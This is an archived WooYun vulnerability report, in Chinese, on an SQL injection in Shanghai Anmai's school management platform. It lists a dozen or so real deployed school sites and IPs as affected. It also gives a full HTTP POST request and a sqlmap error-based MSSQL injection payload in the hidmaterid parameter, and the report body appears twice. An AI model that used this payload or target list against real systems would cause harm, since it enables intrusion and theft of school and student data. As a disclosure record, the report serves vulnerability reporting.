当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102431

漏洞标题:某学生综合管理系统通用SQL注入漏洞

相关厂商:上海安脉计算机科技有限公司

漏洞作者: 路人甲

提交时间:2015-03-20 10:33

修复时间:2015-06-23 08:54

公开时间:2015-06-23 08:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-25: 厂商已经确认,细节仅向厂商公开
2015-03-28: 细节向第三方安全合作伙伴开放
2015-05-19: 细节向核心白帽子及相关领域专家公开
2015-05-29: 细节向普通白帽子公开
2015-06-08: 细节向实习白帽子公开
2015-06-23: 细节向公众公开

简要描述:

某学生综合管理系统通用SQL注入漏洞

详细说明:

系统名称:学校综合管理平台
厂商:上海安脉计算机科技有限公司
关键字:版权所有:上海安脉计算机科技有限公司
系统架构:ASPX+MSSQL
漏洞文件:ST_Manage/SystemManage/MaterialSetting.aspx
注入参数:hidmaterid
枚举部分案例:
http://anmai.net:81/
http://jwxx.am.jsedu.sh.cn/ANMAI/
http://bssyxxgl.eicbs.com/
http://cjzx.am.jsedu.sh.cn/
http://glpt.nhshs.edu.sh.cn/
http://218.78.241.80/anmai/
http://www.aqyz.net/anmai/
http://218.22.96.74:8899/anmai/
http://120.69.153.68:8002/anmai654202_458357247/
http://222.82.229.202:2010/anmai/
http://58.118.20.5/anmai/
http://124.228.32.115:81/
http://luoxzx.am.jsedu.sh.cn/
http://www.syzxyz.com:8008/
等等
漏洞验证:
官网为例:
http://anmai.net:81/ST_Manage/SystemManage/MaterialSetting.aspx

1.png


POST /ST_Manage/SystemManage/MaterialSetting.aspx HTTP/1.1
Host: anmai.net:81
Proxy-Connection: keep-alive
Content-Length: 837
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://anmai.net:81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://anmai.net:81/ST_Manage/SystemManage/MaterialSetting.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: %d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4=%d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4%7cSF_Manage%2findex.aspx%3ftype%3d4%26a%3d2; %cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2=%cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2%7cSF_Manage%2findex.aspx%3ftype%3d2%26a%3d5; %bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed=%bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed%7cSF_Manage%2findex.aspx%3ftype%3d3%26a%3d4; ASP.NET_SessionId=trqrt52wfcm2342nhvjzwx45; ASPSESSIONIDASDDACDA=ALJPFGODEGILBMFOALMMAPPC; %bd%cc%b2%c4%c9%e8%d6%c3=%bd%cc%b2%c4%c9%e8%d6%c3%7cST_Manage%2fSystemManage%2fSysDefault.aspx%3ftype%3d1
__VIEWSTATE=dDwxNDAxMjMzNjQ5O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDU%2BOz47bDx0PHA8bDxpbm5lcmh0bWw7PjtsPFw8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazAnIHZhbHVlPScxMCdcPuWInemihOWkh%2BePrSZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGsxJyB2YWx1ZT0nMTEnXD7liJ3kuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrMicgdmFsdWU9JzEyJ1w%2B5Yid5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazMnIHZhbHVlPScxMydcPuWIneS4ieW5tOe6pyZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGs0JyB2YWx1ZT0nMTQnXD7pq5jkuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrNScgdmFsdWU9JzE1J1w%2B6auY5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazYnIHZhbHVlPScxNidcPumrmOS4ieW5tOe6pyZuYnNwXDs7Pj47Oz47Pj47Pj47Psrc5BRj5j0R9a%2F9WF0W0xI8wS2b&action1=doAdd&hidmaterid=&txtid=&txtjiaocainame=aaaa&chk1=11


漏洞验证:

Place: POST
Parameter: hidmaterid
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=dDwxNDAxMjMzNjQ5O3Q8O2w8aTwxPjs O2w8dDw7bDxpPDU Oz47bDx
0PHA8bDxpbm5lcmh0bWw7PjtsPFw8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazAnIHZhbHV
lPScxMCdcPuWInemihOWkh ePrSZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGs
xJyB2YWx1ZT0nMTEnXD7liJ3kuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmF
tZT0nY2hrMicgdmFsdWU9JzEyJ1w 5Yid5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2t
ib3gnIG5hbWU9J2NoazMnIHZhbHVlPScxMydcPuWIneS4ieW5tOe6pyZuYnNwXDtcPGlucHV0IHR5cGU
9J2NoZWNrYm94JyBuYW1lPSdjaGs0JyB2YWx1ZT0nMTQnXD7pq5jkuIDlubTnuqcmbmJzcFw7XDxpbnB
1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrNScgdmFsdWU9JzE1J1w 6auY5LqM5bm057qnJm5ic3B
cO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazYnIHZhbHVlPScxNidcPumrmOS4ieW5tOe
6pyZuYnNwXDs7Pj47Oz47Pj47Pj47Psrc5BRj5j0R9a/9WF0W0xI8wS2b&action1=doAdd&hidmater
id=-2193' OR 2848=CONVERT(INT,(CHAR(58) CHAR(120) CHAR(122) CHAR(116) CHAR(58) (
SELECT (CASE WHEN (2848=2848) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(11
5) CHAR(122) CHAR(107) CHAR(58))) AND 'XCru'='XCru&txtid=&txtjiaocainame=aaaa&ch
k1=11
---


1.png


数据库:

2.png

漏洞证明:

系统名称:学校综合管理平台
厂商:上海安脉计算机科技有限公司
关键字:版权所有:上海安脉计算机科技有限公司
系统架构:ASPX+MSSQL
漏洞文件:ST_Manage/SystemManage/MaterialSetting.aspx
注入参数:hidmaterid
枚举部分案例:
http://anmai.net:81/
http://jwxx.am.jsedu.sh.cn/ANMAI/
http://bssyxxgl.eicbs.com/
http://cjzx.am.jsedu.sh.cn/
http://glpt.nhshs.edu.sh.cn/
http://218.78.241.80/anmai/
http://www.aqyz.net/anmai/
http://218.22.96.74:8899/anmai/
http://120.69.153.68:8002/anmai654202_458357247/
http://222.82.229.202:2010/anmai/
http://58.118.20.5/anmai/
http://124.228.32.115:81/
http://luoxzx.am.jsedu.sh.cn/
http://www.syzxyz.com:8008/
等等
漏洞验证:
官网为例:
http://anmai.net:81/ST_Manage/SystemManage/MaterialSetting.aspx

1.png


POST /ST_Manage/SystemManage/MaterialSetting.aspx HTTP/1.1
Host: anmai.net:81
Proxy-Connection: keep-alive
Content-Length: 837
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://anmai.net:81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://anmai.net:81/ST_Manage/SystemManage/MaterialSetting.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: %d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4=%d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4%7cSF_Manage%2findex.aspx%3ftype%3d4%26a%3d2; %cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2=%cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2%7cSF_Manage%2findex.aspx%3ftype%3d2%26a%3d5; %bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed=%bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed%7cSF_Manage%2findex.aspx%3ftype%3d3%26a%3d4; ASP.NET_SessionId=trqrt52wfcm2342nhvjzwx45; ASPSESSIONIDASDDACDA=ALJPFGODEGILBMFOALMMAPPC; %bd%cc%b2%c4%c9%e8%d6%c3=%bd%cc%b2%c4%c9%e8%d6%c3%7cST_Manage%2fSystemManage%2fSysDefault.aspx%3ftype%3d1
__VIEWSTATE=dDwxNDAxMjMzNjQ5O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDU%2BOz47bDx0PHA8bDxpbm5lcmh0bWw7PjtsPFw8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazAnIHZhbHVlPScxMCdcPuWInemihOWkh%2BePrSZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGsxJyB2YWx1ZT0nMTEnXD7liJ3kuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrMicgdmFsdWU9JzEyJ1w%2B5Yid5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazMnIHZhbHVlPScxMydcPuWIneS4ieW5tOe6pyZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGs0JyB2YWx1ZT0nMTQnXD7pq5jkuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrNScgdmFsdWU9JzE1J1w%2B6auY5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazYnIHZhbHVlPScxNidcPumrmOS4ieW5tOe6pyZuYnNwXDs7Pj47Oz47Pj47Pj47Psrc5BRj5j0R9a%2F9WF0W0xI8wS2b&action1=doAdd&hidmaterid=&txtid=&txtjiaocainame=aaaa&chk1=11


漏洞验证:

Place: POST
Parameter: hidmaterid
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=dDwxNDAxMjMzNjQ5O3Q8O2w8aTwxPjs O2w8dDw7bDxpPDU Oz47bDx
0PHA8bDxpbm5lcmh0bWw7PjtsPFw8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazAnIHZhbHV
lPScxMCdcPuWInemihOWkh ePrSZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGs
xJyB2YWx1ZT0nMTEnXD7liJ3kuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmF
tZT0nY2hrMicgdmFsdWU9JzEyJ1w 5Yid5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2t
ib3gnIG5hbWU9J2NoazMnIHZhbHVlPScxMydcPuWIneS4ieW5tOe6pyZuYnNwXDtcPGlucHV0IHR5cGU
9J2NoZWNrYm94JyBuYW1lPSdjaGs0JyB2YWx1ZT0nMTQnXD7pq5jkuIDlubTnuqcmbmJzcFw7XDxpbnB
1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrNScgdmFsdWU9JzE1J1w 6auY5LqM5bm057qnJm5ic3B
cO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazYnIHZhbHVlPScxNidcPumrmOS4ieW5tOe
6pyZuYnNwXDs7Pj47Oz47Pj47Pj47Psrc5BRj5j0R9a/9WF0W0xI8wS2b&action1=doAdd&hidmater
id=-2193' OR 2848=CONVERT(INT,(CHAR(58) CHAR(120) CHAR(122) CHAR(116) CHAR(58) (
SELECT (CASE WHEN (2848=2848) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(11
5) CHAR(122) CHAR(107) CHAR(58))) AND 'XCru'='XCru&txtid=&txtjiaocainame=aaaa&ch
k1=11
---


1.png


数据库:

2.png

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-03-25 08:52

厂商回复:

暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论